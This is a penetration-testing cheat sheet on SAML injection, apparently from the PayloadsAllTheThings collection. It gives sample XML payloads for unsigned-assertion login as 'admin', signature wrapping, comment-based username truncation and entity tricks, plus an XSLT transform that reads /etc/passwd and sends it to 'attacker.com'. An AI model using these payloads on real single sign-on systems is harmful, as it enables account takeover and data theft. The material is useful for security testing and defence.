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killchain-compendium/misc/PayloadsAllTheThings/SAML Injection/README.md

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# SAML Injection
> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify
## Summary
* [Tools](#tools)
* [Authentication Bypass](#authentication-bypass)
* [Invalid Signature](#invalid-signature)
* [Signature Stripping](#signature-stripping)
* [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
* [XML Comment Handling](#xml-comment-handling)
* [XML External Entity](#xml-external-entity)
* [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation)
## Tools
- [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider)
## Authentication Bypass
A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.
### Invalid Signature
Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
### Signature Stripping
> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn
The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.
Example of SAML assertion where `NameID=admin` without signature.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
<saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
<saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AudienceRestriction>
<saml2:Audience>WLS_SP</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
</saml2:Assertion>
</saml2p:Response>
```
### XML Signature Wrapping Attacks
XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.
- XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
- XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
- XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
- XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion.
- XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
- XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
- XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
- XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.
In the following example, these terms are used.
- FA: Forged Assertion
- LA: Legitimate Assertion
- LAS: Signature of the Legitimate Assertion
```xml
<SAMLResponse>
<FA ID="evil">
<Subject>Attacker</Subject>
</FA>
<LA ID="legitimate">
<Subject>Legitimate User</Subject>
<LAS>
<Reference Reference URI="legitimate">
</Reference>
</LAS>
</LA>
</SAMLResponse>
```
In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed.
### XML Comment Handling
A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products.
- OneLogin - python-saml - CVE-2017-11427
- OneLogin - ruby-saml - CVE-2017-11428
- Clever - saml2-js - CVE-2017-11429
- OmniAuth-SAML - CVE-2017-11430
- Shibboleth - CVE-2018-0489
- Duo Network Gateway - CVE-2018-7340
Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account.
```xml
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
```
Where `user@user.com` is the first part of the username, and `.evil.com` is the second.
### XML External Entity
An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.
In the following example:
- `&s;` will resolve to the string `"s"`
- `&f1;` will resolve to the string `"f1"`
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
<!ENTITY s "s">
<!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
ID="_04cfe67e596b7449d05755049ba9ec28"
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
[...]
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.19200300.100.1.1"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
&s;taf&f1;
</saml2:AttributeValue>
</saml2:Attribute>
[...]
</saml2p:Response>
```
The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.
### Extensible Stylesheet Language Transformation
An XSLT can be carried out by using the `transform` element.
![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg)
Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack)
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
## References
- [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/)
- [The road to your codebase is paved with forged assertions - @ilektrojohn - March 13, 2017](http://www.economyofmechanism.com/github-saml)
- [SAML_Security_Cheat_Sheet.md - OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md)
- [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf)
- [Making Headlines: SAML - March 19, 2018 - Torsten George](https://blog.centrify.com/saml/)
- [Vulnerability Note VU#475445 - 2018-02-27 - Carnegie Mellon University](https://www.kb.cert.org/vuls/id/475445/)
- [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
- [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)
- [How to Hunt Bugs in SAML; a Methodology - Part I - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [How to Hunt Bugs in SAML; a Methodology - Part II - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [How to Hunt Bugs in SAML; a Methodology - Part III - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)